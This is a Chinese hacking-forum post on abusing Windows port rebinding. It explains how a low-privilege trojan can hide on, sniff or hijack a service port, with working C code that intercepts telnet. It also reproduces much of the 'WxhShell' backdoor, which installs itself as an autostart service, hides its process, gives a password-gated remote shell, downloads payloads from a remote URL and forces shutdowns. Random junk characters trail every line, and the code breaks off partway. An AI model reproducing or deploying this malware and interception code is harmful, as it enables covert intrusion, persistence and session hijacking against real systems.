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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Zm ogM7B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LjB;;&VCn  
8Q{9>^  
  saddr.sin_family = AF_INET; l8h&|RY[  
sZ<9A Xk-E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CjIu[S1%  
]rN5Ao}2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `Y=WMNy  
*i{Y9f8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f.B>&%JRZ  
clw%B  
  这意味着什么?意味着可以进行如下的攻击: A"5z6A4WB  
$,>@o=)_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b6(p  
3q:n'PC)C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3]&o*Ib1`_  
evA/+F ,&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 qFQ 8  
NS)}6OI3~"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6$fYt&1  
;6ecrQMw&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mo{MR:>)  
COzyG.R.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `(6r3f~XJ  
G rmzkNlN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `1OgYs  
2lKV#9"  
  #include A5'NGt  
  #include !HeSOzN  
  #include ^u}L;`L  
  #include     7R#+Le)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *+'2?*  
  int main() (+<1*5BEkT  
  { E37<"(;  
  WORD wVersionRequested; .\0isO  
  DWORD ret; W|:lVAP.|}  
  WSADATA wsaData; hI?sOR!  
  BOOL val; ~9)"!   
  SOCKADDR_IN saddr; A\_|un%  
  SOCKADDR_IN scaddr; + b$=[nfG  
  int err; :j')E`#   
  SOCKET s; &!aAO(g  
  SOCKET sc; <s5qy-  
  int caddsize; 5]I|DHmu  
  HANDLE mt; zk*c)s  
  DWORD tid;   p Dx-2:}  
  wVersionRequested = MAKEWORD( 2, 2 ); ZQ^r`W9_ +  
  err = WSAStartup( wVersionRequested, &wsaData ); h_1T,f (  
  if ( err != 0 ) {  c gzwx  
  printf("error!WSAStartup failed!\n"); uXDq~`S  
  return -1; g,o?q:FL  
  } g.c8FP+  
  saddr.sin_family = AF_INET; KDl_?9E5  
   Hn>B!Bm*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I1oje0$  
rqP FU6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7QKr_  
  saddr.sin_port = htons(23); K{b(J Nd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &[NG]V!Oc  
  { 8t@p @Td|  
  printf("error!socket failed!\n"); *_E|@y  
  return -1; Ev7J+TmXM  
  } mWR4|1(  
  val = TRUE; oI)GKA_Ng7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?Kvl!F!`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ae:zWk'!  
  { uZfnzd)c  
  printf("error!setsockopt failed!\n"); +dA,P\  
  return -1; P=3RLL<l  
  } W^3uEm&l!)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 322jR4QGr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]EwVpvTw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |-V&O=!^+  
1]IQg;q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l]~n3IK"  
  { "S 3wk=?4  
  ret=GetLastError(); WDFjp  
  printf("error!bind failed!\n"); FnJ?C&xK  
  return -1; dq[Mj5eC  
  } HV6f@  
  listen(s,2); <mi-}s  
  while(1) S= _vv)6+4  
  { 2z\zh[(w  
  caddsize = sizeof(scaddr); z'uK3ng\hH  
  //接受连接请求 vad12WrG<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x.8TRMk^  
  if(sc!=INVALID_SOCKET) CPg+f1K  
  { f2,jh}4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >pU:Gr  
  if(mt==NULL) cUTE$/#s  
  { %QKZT=}  
  printf("Thread Creat Failed!\n"); Y"OG@1V;8  
  break; 1x,[6H  
  } 6s0_#wZC  
  } c@v{`d  
  CloseHandle(mt); cZ)}LX  
  } DW)2 m;  
  closesocket(s); DJgTA]$&  
  WSACleanup(); <SI}lQ'i  
  return 0; U|g:`v7  
  }   4 C}bJzZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) +}f9   
  { &\apwD  
  SOCKET ss = (SOCKET)lpParam; F(t=!k,4\  
  SOCKET sc; ?c0xRO%y  
  unsigned char buf[4096]; _`64gS}^  
  SOCKADDR_IN saddr; !"8fdSfg w  
  long num; gJ2>(k03y  
  DWORD val; l NQcYv  
  DWORD ret; L%>n>w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R(n^)^?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E ;<l(.Ar  
  saddr.sin_family = AF_INET;  o x+ 3U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <7-J0btV  
  saddr.sin_port = htons(23); f>aRkTHf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4)1s M=u  
  { +la2n(CAK  
  printf("error!socket failed!\n"); pv&y91  
  return -1; B<C*  
  } KiJT!moB  
  val = 100; K_K5'2dE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4lBU#V7  
  { D@!=d@V.  
  ret = GetLastError(); wm+/e#'&  
  return -1; ?_I[,N?@41  
  } NJNJjdD>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SR DXfkoI  
  { X^WrccNX  
  ret = GetLastError(); JPGzrEaZ  
  return -1; 7"8hC  
  } +[5.WC7J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I4&::y^ C  
  { qIld;v8w"g  
  printf("error!socket connect failed!\n"); -WYAN:s  
  closesocket(sc); P;k0W>~k  
  closesocket(ss); z )HD`Ho  
  return -1; h,Q3oy\s1  
  } QR1{ w'c  
  while(1) d> {nQF;c  
  { qL,tYJ<m%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wC5ee:u C%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lkBdl#]9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V{<xf f  
  num = recv(ss,buf,4096,0); /% kY0 LY  
  if(num>0) hUYd0qEbEt  
  send(sc,buf,num,0); H<^/Ati,|  
  else if(num==0) <n(*Xak{a  
  break; / ~^rr f  
  num = recv(sc,buf,4096,0); Yot?=T};3{  
  if(num>0) D$T%\ P  
  send(ss,buf,num,0); Y+Fljr*  
  else if(num==0) qu|B4?Y/CR  
  break; .|/~op4;  
  } f]`vRvbe  
  closesocket(ss); S{Er?0wm.R  
  closesocket(sc); y~75r\"R  
  return 0 ; ^$ t7+g  
  } 6oBfB8]:d  
?:w1je7  
E8-P"`Qba  
========================================================== 8jyG" %WO  
Sv  &[f}S  
下边附上一个代码,,WXhSHELL J9=m]R8T  
3;a<_cE*@  
========================================================== v'e[GB 0  
;X?mmv'  
#include "stdafx.h" clk[/'1  
,mj@sC>  
#include <stdio.h> ~q~MoN<R  
#include <string.h> w+N> h;j  
#include <windows.h> aXL{TD:]  
#include <winsock2.h> {RF-sqce  
#include <winsvc.h> $ibuWb"a  
#include <urlmon.h> Q9Q|lO  
$]8h $  
#pragma comment (lib, "Ws2_32.lib") $jg*pmR-  
#pragma comment (lib, "urlmon.lib") ;INW`b~  
|_yYLYH'   
#define MAX_USER   100 // 最大客户端连接数 O9r>E3-q  
#define BUF_SOCK   200 // sock buffer SCz(5[MZJ  
#define KEY_BUFF   255 // 输入 buffer 2Y7)WPn  
+=:#wzK@  
#define REBOOT     0   // 重启 Z.M,NR  
#define SHUTDOWN   1   // 关机 lv]hTH 4T  
9k6r_G"  
#define DEF_PORT   5000 // 监听端口 ^.>jG I%rB  
(7r<''  
#define REG_LEN     16   // 注册表键长度 &-mX ,   
#define SVC_LEN     80   // NT服务名长度 IV)<5'v  
I6Ce_|n ?k  
// 从dll定义API "U\4:k`:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A* um{E+   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kS!viJwtT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !&"<oPjr+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ak;*W  
Ovj^IjG-`  
// wxhshell配置信息 4)("v-p  
struct WSCFG { !=N"vD*  
  int ws_port;         // 监听端口 fXcm|U,ho  
  char ws_passstr[REG_LEN]; // 口令 Lliq j1&  
  int ws_autoins;       // 安装标记, 1=yes 0=no N"3b{Qi o  
  char ws_regname[REG_LEN]; // 注册表键名 B` k\EL'  
  char ws_svcname[REG_LEN]; // 服务名 HB7;0yt`:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1n@8Kv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PnoPb k[<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Yc'kvj)_M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yfm^?G|sW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8)4P Ll  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o";Z$tAJkC  
&0`) Q  
}; {>F7CT'G6  
^g`&7tX  
// default Wxhshell configuration %wSj%>&-R  
struct WSCFG wscfg={DEF_PORT, cra+T+|>Kc  
    "xuhuanlingzhe", U\R}`l  
    1, kP?KXT3y  
    "Wxhshell", 3#TV5+x*"`  
    "Wxhshell", GxKqD;;u?=  
            "WxhShell Service", R[;z X(y  
    "Wrsky Windows CmdShell Service", V#`fs|e;y  
    "Please Input Your Password: ", K5XK%Gl"  
  1, IhA*"  
  "http://www.wrsky.com/wxhshell.exe", (e[}/hf6  
  "Wxhshell.exe" 8:/e GM  
    }; r3\cp0P;s  
DuOG {  
// 消息定义模块 )'4k|@8|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #/Eb*2C`b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W]5USFan  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P<f5*L#HD  
char *msg_ws_ext="\n\rExit."; 6C+"`(u%V  
char *msg_ws_end="\n\rQuit."; ) lZp9O  
char *msg_ws_boot="\n\rReboot..."; dx+hhg\L  
char *msg_ws_poff="\n\rShutdown..."; $]/Zxd  
char *msg_ws_down="\n\rSave to "; sUU{fNC6|  
x(eb5YS  
char *msg_ws_err="\n\rErr!"; ruazOmnn~  
char *msg_ws_ok="\n\rOK!"; mzf+Cu:` v  
k0Uyf~p~  
char ExeFile[MAX_PATH]; )kkhJI*v  
int nUser = 0; R@`y>XGNJ  
HANDLE handles[MAX_USER]; %!PM&zV  
int OsIsNt; G3{=@Z1  
1rDqa(7  
SERVICE_STATUS       serviceStatus; =%> oR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NwZ@#D#[ Y  
aM$W*- Y  
// 函数声明 6MxKl D7kl  
int Install(void); f`&dQ,;  
int Uninstall(void); [ U w i  
int DownloadFile(char *sURL, SOCKET wsh); ryFxn|4  
int Boot(int flag); DmOyBtj  
void HideProc(void); 'GL*u#h  
int GetOsVer(void); ^J\~XYg{7  
int Wxhshell(SOCKET wsl); `ck$t5:6sp  
void TalkWithClient(void *cs); Z%n(O(^L  
int CmdShell(SOCKET sock); ZE/o?4k*c1  
int StartFromService(void); )u qA(R>  
int StartWxhshell(LPSTR lpCmdLine); F<(i.o(  
Z%x\~ )~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @`,1:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -%I2[)F<  
B0ndcB-  
// 数据结构和表定义 Y]3>7q%  
SERVICE_TABLE_ENTRY DispatchTable[] = al[n, u  
{ 8 P>#l.#  
{wscfg.ws_svcname, NTServiceMain}, oI#a_/w  
{NULL, NULL} 0s>/mh;  
}; | a# f\  
Q;D0<Bv  
// 自我安装 U_{Ux 2  
int Install(void) K/}rP[H  
{ bpxeznz  
  char svExeFile[MAX_PATH]; P8?Fm`  
  HKEY key; pm9%%M$  
  strcpy(svExeFile,ExeFile); gB4U*D0[e~  
V}zEK0n(6  
// 如果是win9x系统,修改注册表设为自启动 p+Y>F\r&w  
if(!OsIsNt) { -k7X:!>QHC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bHI<B)=`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jr`Ess  
  RegCloseKey(key); -c}, :G"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B.L]Rk\4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b?j< BvQ  
  RegCloseKey(key); U2%.S&wS,e  
  return 0; (k|_J42[  
    } ? mhs$g>  
  } M_%B|S {  
} fks)+L'  
else { >(snII  
bl'z<S, '  
// 如果是NT以上系统,安装为系统服务 <~)kwq'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y X_ gb/A  
if (schSCManager!=0) v$ub~Q6W  
{ $/7pYl\n  
  SC_HANDLE schService = CreateService +Lnsr\BA  
  ( E~AjK'Z  
  schSCManager, D91e\|]  
  wscfg.ws_svcname, 3q?\r` a  
  wscfg.ws_svcdisp, +L5\;  
  SERVICE_ALL_ACCESS, e0$=!QlPr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =dx1/4bZl|  
  SERVICE_AUTO_START, !XzF67  
  SERVICE_ERROR_NORMAL, > z^#  
  svExeFile, V._(q^  
  NULL, Ii:>xuF&  
  NULL, j6g[N4xr  
  NULL, A mwa)  
  NULL, # (- Qx  
  NULL %~QO8q_7  
  ); Wy%s1iu  
  if (schService!=0) |qoKO:B4-[  
  { /P 2[:[w  
  CloseServiceHandle(schService); )<xypDQ  
  CloseServiceHandle(schSCManager); &< !Ufa&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2r 6'O6v  
  strcat(svExeFile,wscfg.ws_svcname); $*W6A/%O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~M(5Ho  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _fwb!T}$  
  RegCloseKey(key); 0Ld@H)  
  return 0;  <Tot|R;  
    } G\a8B#hg  
  } )nd\7|5#  
  CloseServiceHandle(schSCManager); H&yD*@  
} I=!rbF;Z  
} l]]l  
-$,%f?  
return 1; 3bNIZ#`|MB  
} (4%YHS8  
Ve/xnn]'  
// 自我卸载  PTS]7  
int Uninstall(void) 8+Bu+|c%f  
{ OK{xuX8u  
  HKEY key; P(a.iu5   
w\19[U3  
if(!OsIsNt) { GAc{l=vT'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0W%@gs5d&  
  RegDeleteValue(key,wscfg.ws_regname); > MH(0+B*  
  RegCloseKey(key); F]I=+T   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $.:mai  
  RegDeleteValue(key,wscfg.ws_regname); $ F S_E  
  RegCloseKey(key); )=DGdI Et  
  return 0; Z,X'-7YkU  
  } M+!x}$ &v  
} w%zRHf8C  
} :>81BuMvg  
else { b,IocD6v;P  
p)~lL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tb1U^E:  
if (schSCManager!=0) S{K0.<,E  
{ 8/"fWm/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q-Qxbg[>e  
  if (schService!=0) Vj!rT <@  
  { wP/A^Rs  
  if(DeleteService(schService)!=0) { Eaqca{%/^  
  CloseServiceHandle(schService); ?J,AB #+  
  CloseServiceHandle(schSCManager); Cbs5dn(Y  
  return 0; _|''{kj(  
  } 'r\ V. 4  
  CloseServiceHandle(schService); S:61vD  
  } |0z;K:5s  
  CloseServiceHandle(schSCManager); "Y=+Ls(3o(  
} >5 b/or  
} BtY%r7^o  
/Ky__l!bu  
return 1; Ux2U*a ;  
} pDh se2  
\sA*V%n  
// 从指定url下载文件 }!i` 0p  
int DownloadFile(char *sURL, SOCKET wsh) &J!aw  
{ 6q>+!kXh  
  HRESULT hr; [/_+>M  
char seps[]= "/"; p*l$Wj  
char *token; F6hmku>\1  
char *file; A!63p$VT;  
char myURL[MAX_PATH]; )J(q49  
char myFILE[MAX_PATH]; /1`cRyS  
}!TL2er_  
strcpy(myURL,sURL); Bg8#qv  
  token=strtok(myURL,seps); z 5]bia,  
  while(token!=NULL) *{o UWt  
  { =?X$Yaw*  
    file=token; ~l~Tk6EM  
  token=strtok(NULL,seps); B[9 (FRX  
  } PNeh#PI 6)  
<:|3rfm#  
GetCurrentDirectory(MAX_PATH,myFILE); tU/k-W3X  
strcat(myFILE, "\\"); q:8_]Qt  
strcat(myFILE, file); voe7l+Xk  
  send(wsh,myFILE,strlen(myFILE),0); F%rHU5CkV  
send(wsh,"...",3,0); 8Q)@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ir3VTqz  
  if(hr==S_OK) ^ZTGJ(j7~  
return 0; ,1/}^f6  
else [4J6 iF  
return 1; De_C F8  
V#q}Wysft  
} :"o o>  
8p1ziz`4>$  
// 系统电源模块 k8]O65t|  
int Boot(int flag) =i HiPvP0  
{ Fd\ e*ww'  
  HANDLE hToken; ;PyZ?Z;  
  TOKEN_PRIVILEGES tkp; >\A8#@1  
k#:2'!7G  
  if(OsIsNt) { (5$ZvXx?}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AD('=g J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VzlDHpG  
    tkp.PrivilegeCount = 1; K^t?gt@k}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rgcWRt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IK^~X{I?  
if(flag==REBOOT) { 7L:7/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6yAA~;*5'  
  return 0; 9TxyZL   
} ?nKF6 f  
else { )$x_!=@1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $(q>mg:H  
  return 0; N6Z{BLZ  
} ]|:uU  
  } vs&8wbS)  
  else { _U)%kY8  
if(flag==REBOOT) { i z]rFNR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rSV gWr8  
  return 0; !Ngw\@f  
} KbxR Lx]w  
else { xU9@$am  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H]#Rg`~n  
  return 0; R UTnc  
} qI3NkVA'C  
} G6`J1Uk  
V7t!?xOL  
return 1; gd6Dm4q(  
} +1;'B4  
\.s`n2.w  
// win9x进程隐藏模块 ,R wfp=*E  
void HideProc(void) gmSQcN)  
{ 0NO1M)HQv  
YT yX`Y#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +iF 1sC_  
  if ( hKernel != NULL ) #^mqQRpgq  
  { ^~ L}<]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?Hy+'sq[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :]eb<J  
    FreeLibrary(hKernel); Bo\D.a(T  
  } 2>hz_o{5',  
2RppP?M!  
return; (%< 'A  
} ]re'LC!d  
%c6E-4b  
// 获取操作系统版本 Jfg7\&|  
int GetOsVer(void) NO>k  
{ ]7qiUdxt:  
  OSVERSIONINFO winfo; fUcLfnr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )fh0&Y; R  
  GetVersionEx(&winfo); et$uP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qSiWnN8D t  
  return 1; H}b\`N[nr  
  else -fIc4u[  
  return 0; IjZ@U%g@;  
} !Ua&0s%  
0\a8}b||  
// 客户端句柄模块 ?~2Bi^W5  
int Wxhshell(SOCKET wsl) !0fI"3P@r  
{ x,Y 5U+]E  
  SOCKET wsh; |pWaBh|r  
  struct sockaddr_in client; 6f] rQ9  
  DWORD myID; yBn_Kd  
jM__{z  
  while(nUser<MAX_USER) x0Bw{>Q  
{ ,8 6K  
  int nSize=sizeof(client); d# T?Q_3b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [BXyi  
  if(wsh==INVALID_SOCKET) return 1; uu}-"/<~7  
 wRVD_?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 30 7fBa  
if(handles[nUser]==0) YU\Gj S~>&  
  closesocket(wsh); \{PNwF?  
else <d@pmh  
  nUser++; {j6g@Vd6lx  
  } -i_En^Fi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IL2r9x%  
lfy7w|  
  return 0; AQ@v>wr}  
} NfF~dK|  
koH4~m{  
// 关闭 socket %D^bah f  
void CloseIt(SOCKET wsh) a c6*v49  
{ ~Fx&)kegTo  
closesocket(wsh); iVeQ]k(u  
nUser--; ="B n=>  
ExitThread(0); .5g}rxO8  
} 7c::Qf[|  
QHQj/)J8  
// 客户端请求句柄 %3,xaVN  
void TalkWithClient(void *cs) ?~)Ak`=  
{ 0>Fqx{!heq  
Vj!WaN_  
  SOCKET wsh=(SOCKET)cs; 0$2={s4ze  
  char pwd[SVC_LEN]; K/Jk[29"\  
  char cmd[KEY_BUFF];  ? ICDIn  
char chr[1]; /J;]u3e|  
int i,j; k!13=Gh  
fq Y1ggL  
  while (nUser < MAX_USER) { 3'@&c?F ye  
lO&cCV;  
if(wscfg.ws_passstr) { $,P\)</ VR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6_ ]8\n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^/{4'\p  
  //ZeroMemory(pwd,KEY_BUFF); aQh?}=da  
      i=0; l;5`0N?QO  
  while(i<SVC_LEN) { }jcIDiSu  
(C~dkR?  
  // 设置超时 (rMZ  
  fd_set FdRead; 2f`xHI/@fj  
  struct timeval TimeOut; >a9l>9fyY  
  FD_ZERO(&FdRead); ITn;m  
  FD_SET(wsh,&FdRead); [|<EDR  
  TimeOut.tv_sec=8; yiO31uQt  
  TimeOut.tv_usec=0; qvTKfIl{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ws>i)6[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZeTL$E[E}  
FF@`+T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (j=DD6fC  
  pwd=chr[0]; hfh.eL  
  if(chr[0]==0xd || chr[0]==0xa) { x3;jWg~'  
  pwd=0; s7|3zqi  
  break; R2Yl)2 D  
  } \-G5l+!  
  i++; j]HE>  
    } uTw|Q{f  
{jhcZ"#>\  
  // 如果是非法用户,关闭 socket &oc_ a1 R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2+&R" #I  
} r./z,4A`  
#4q1{)=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gA"<MI'y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1<ehV VP   
zP|*(*  
while(1) { lrn+d$!@  
Zx9.pFc"  
  ZeroMemory(cmd,KEY_BUFF); r8+*|$K  
9;pzzZ  
      // 自动支持客户端 telnet标准   ^Yr|K  
  j=0; IrUi E q  
  while(j<KEY_BUFF) { {DS\!0T-X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dh?S[|='  
  cmd[j]=chr[0]; XqX I(q^  
  if(chr[0]==0xa || chr[0]==0xd) { s+N^PX3  
  cmd[j]=0; ,0.|P`|w  
  break; &*ZC0V3  
  } @LHtt/&  
  j++; F_ _H(}d  
    } ?KCxrzf  
x57'Cg \  
  // 下载文件 -sx-7LKi  
  if(strstr(cmd,"http://")) { VlV)$z_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); < %/:w/  
  if(DownloadFile(cmd,wsh)) tPzM7 n|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bCt_y R  
  else w0$R`MOR+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W'd/dKU x  
  } #B\B(y  
  else { j^rYFS w:Q  
F;X"3F.!  
    switch(cmd[0]) { %p}qO^%M  
  ha5 bD%  
  // 帮助 |9x%gUm  
  case '?': { jPj 2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BQuRHi IV  
    break; f{f_g8f[  
  } !HvGlj@(|  
  // 安装 =s6E/K  
  case 'i': { fls#LcI9>6  
    if(Install()) xV?*!m$V%R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z6Fun  
    else ]|;7R^o3|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u8xk]:%  
    break; o\:$V   
    } G1p43  
  // 卸载 F"Uh/EO<  
  case 'r': { U~Xf=f_Q$  
    if(Uninstall()) !>q?dhw@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R&#[6 r(h  
    else df!+T0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FSFFk~  
    break; N JXa_&_  
    } jjYM3LQcdP  
  // 显示 wxhshell 所在路径 _qEWu Do  
  case 'p': { { _-wG3f|  
    char svExeFile[MAX_PATH]; ~.iA`${y%  
    strcpy(svExeFile,"\n\r"); p[_Yi0U  
      strcat(svExeFile,ExeFile); i+U@\:=  
        send(wsh,svExeFile,strlen(svExeFile),0); M9h<}mh\  
    break; }z8{B3K  
    } R9bhC9NP  
  // 重启 TS/Cp{  
  case 'b': { ~@[(U!G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9=H}yiJz  
    if(Boot(REBOOT)) r+SEw ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'n>EEQyp'  
    else { lGl[^ 0  
    closesocket(wsh); S_ZLTcq<1  
    ExitThread(0); Al=(sHc'  
    } ip<15;Z  
    break; _r~!O$2  
    } G OH  
  // 关机 ,0BR-#  
  case 'd': {  4c  
